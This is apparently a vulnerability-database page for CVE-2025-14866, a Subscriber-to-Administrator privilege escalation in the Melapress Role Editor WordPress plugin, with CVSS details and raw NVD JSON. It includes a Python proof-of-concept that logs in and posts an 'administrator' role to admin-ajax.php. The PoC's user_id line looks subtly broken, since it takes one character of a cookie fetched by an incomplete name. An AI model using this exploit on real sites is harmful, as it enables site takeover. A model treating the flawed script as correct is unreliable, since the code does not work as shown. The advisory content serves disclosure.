Security Vulnerability Report
中文
CVE-2025-14866 CVSS 8.8 HIGH

CVE-2025-14866

Published: 2026-01-23 13:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Melapress Role Editor plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.1.1. This is due to a misconfigured capability check on the 'save_secondary_roles_field' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to assign themselves additional roles including Administrator.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Melapress Role Editor <= 1.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target = 'http://target-wordpress.com' username = 'attacker' password = 'password123' # 登录获取cookie session = requests.Session() login_data = {'log': username, 'pwd': password} response = session.post(f'{target}/wp-login.php', data=login_data) # 构造权限提升请求 exploit_data = { 'action': 'save_secondary_roles_field', 'user_id': session.cookies.get('wordpress_logged_in_')[0], 'roles': 'administrator' } response = session.post(f'{target}/wp-admin/admin-ajax.php', data=exploit_data)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14866", "sourceIdentifier": "[email protected]", "published": "2026-01-23T13:15:47.983", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Melapress Role Editor plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.1.1. This is due to a misconfigured capability check on the 'save_secondary_roles_field' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to assign themselves additional roles including Administrator."}, {"lang": "es", "value": "El plugin Melapress Role Editor para WordPress es vulnerable a la escalada de privilegios en todas las versiones hasta la 1.1.1, inclusive. Esto se debe a una verificación de capacidad mal configurada en la función 'save_secondary_roles_field'. Esto permite que atacantes autenticados, con acceso de nivel Suscriptor o superior, se asignen roles adicionales, incluido el de Administrador."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/melapress-role-editor/tags/1.1.0/classes/admin/additional-form-fields/class-user-profile.php#L103", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/melapress-role-editor/tags/1.1.0/classes/admin/ajax/class-admin-ajax.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3439348/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0509aaf1-8aae-42e5-84d3-ea9b431703f3?source=cve", "source": "[email protected]"}]}}